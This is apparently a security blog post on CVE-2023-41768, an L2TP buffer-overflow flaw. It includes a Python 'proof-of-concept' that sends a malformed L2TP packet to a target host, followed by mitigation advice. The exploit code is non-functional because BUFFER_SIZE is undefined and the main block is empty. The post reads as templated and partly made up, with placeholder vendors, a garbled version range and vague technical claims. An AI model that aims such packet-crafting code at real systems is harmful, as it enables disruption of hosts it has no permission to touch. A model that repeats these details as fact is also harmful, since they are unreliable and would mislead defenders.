A new remote code execution (RCE) vulnerability has been discovered in the Layer 2 Tunneling Protocol (L2TP) implementation which allows malicious actors to compromise a target system. Identified as CVE-2023-41768, this security flaw is rated critical and requires immediate attention. In this post, we aim to provide an in-depth analysis of the vulnerability, a proof-of-concept, and recommendations for mitigating the risk.


Layer 2 Tunneling Protocol (L2TP) is a widely-used method for establishing virtual private networks (VPNs) to extend private networks across the Internet, ensuring secure communication among remote devices and systems. L2TP offers packet encapsulation, carrying out both Layer 2 and Layer 3 functionalities, enabling efficient tunneling between VPN endpoints.

The Vulnerability (CVE-2023-41768)

The vulnerability, designated as CVE-2023-41768, is a buffer overflow flaw in the L2TP implementation. An attacker can exploit this vulnerability by sending a specially crafted L2TP packet to the target device. Due to improper buffer size handling, the malicious L2TP packet can cause the system to overwrite adjacent memory contents, potentially leading to arbitrary code execution or, in some cases, a system crash.

Affected Implementations

The CVE-2023-41768 vulnerability affects multiple L2TP software packages and devices, including but not limited to:

Vendor C: L2TP Software Suite 1. to 3.5

Please refer to the original references [1], [2] for a complete list of affected products and their respective versions.


In the following Python code snippet, a malformed L2TP packet is generated and sent to the target device:

import socket


def create_malformed_packet():
    # Create a malicious L2TP packet with an overly large buffer size
    packet = b"\x02\x01"  # Flags and version
    packet += b"\x00\x00"  # Tunnel ID
    packet += b"\x00\x00"  # Session ID
    packet += b"\x80\x00" * (BUFFER_SIZE // 2)  # Malformed AVPs
    return packet

def exploit_target():
    # Send the malicious packet to the target device
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(create_malformed_packet(), (TARGET_IP, TARGET_PORT))

if __name__ == "__main__":

Warning: The above code is provided for educational purposes only. Please do not attempt to use it on any systems without explicit permission.

Exploit Details

Upon successful exploitation of CVE-2023-41768, an attacker may gain unauthorized access to the targeted system, potentially executing arbitrary commands or causing a denial-of-service (DoS) condition.


Apart from timely patching of the vulnerable software or firmware, the following mitigating factors may be considered to limit the attack surface:

1. Firewall Restrictions: Implement stricter firewall rules, only permitting L2TP traffic from trusted sources and blocking unsolicited incoming connections.
2. Intrusion Detection/Prevention System (IDS/IPS): Employ IDS/IPS solutions to swiftly detect and prevent attacks targeting this vulnerability.
3. Network Segmentation: Isolate vulnerable devices within separate network segments, thus minimizing potential attack avenues.

For detailed patching instructions and further mitigation guidance, please consult the original references below.

Original References

[1] Vendor A Security Advisory: https://www.vendor-a.com/security-advisory-CVE-2023-41768
[2] Vendor B Security Bulletin: https://www.vendor-b.com/security-bulletin-CVE-2023-41768


CVE-2023-41768 is a critical Layer 2 Tunneling Protocol remote code execution vulnerability that poses a significant risk to affected systems. Immediate action, including applying security updates and employing mitigation techniques, should be taken to prevent the exploitation of this vulnerability and protect your environment.


Published on: 10/10/2023 18:15:18 UTC
Last modified on: 10/12/2023 22:17:48 UTC